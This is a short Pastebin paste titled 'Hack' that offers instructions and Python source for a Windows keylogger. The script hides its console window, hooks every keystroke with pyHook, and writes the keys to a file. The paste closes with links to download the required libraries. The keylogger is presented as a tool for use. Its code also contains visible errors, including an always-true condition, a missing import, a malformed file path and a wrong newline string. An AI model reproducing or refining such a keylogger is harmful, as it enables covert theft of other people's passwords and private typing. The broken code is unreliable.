Burgenian13

Hack

Nov 25th, 2018
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.96 KB | None | 0 0
  1. How to make keylogger!
  2. There a website!
  3. https://www.youtube.com/watch?v=5xy9w9-hzrs
  4. Need help? http://www.tinkernut.com/2009/09/how-to-make-a-keylogger/
  5.  
  6.  
  7. Script!
  8.  
  9. import win32api
  10. import win32console
  11. import win32gui
  12.  
  13. import pythoncom, pyHook
  14.  
  15. win = win32console.GetConsoleWindow()
  16. win32gui.ShowWindow(win,0)
  17.  
  18. def OnKeyboardEvent(event):
  19. if event.Ascii==5:
  20.  
  21. _exit(1)
  22.  
  23. if event.Ascii != 0 or 8:
  24. f=open('c:output.txt','r')
  25.  
  26. buffer=f.read()
  27. f.close()
  28.  
  29. f=open('c:output.txt','w')
  30. keylogs=chr(event.Ascii)
  31.  
  32. if event.Ascii==13:
  33. keylogs='/n'
  34. buffer +=
  35. keylogs
  36. f.write(buffer)
  37. f.close()
  38.  
  39. hm = pyHook.HookManager()
  40. hm.KeyDown = OnKeyboardEvent
  41. hm.HookKeyboard()
  42. pythoncom.PumpMessages()
  43.  
  44.  
  45.  
  46.  
  47.  
  48.  
  49. KEYLOGGER SOURCECODE AND
  50.  
  51. – Download Python: http://www.python.org/
  52.  
  53. – Download Pyhook: pyhook.sourceforge.net
  54.  
  55. – Download Python for Windows Extensions: http://sourceforge.net/projects/pywin32/
Add Comment
Please, Sign In to add comment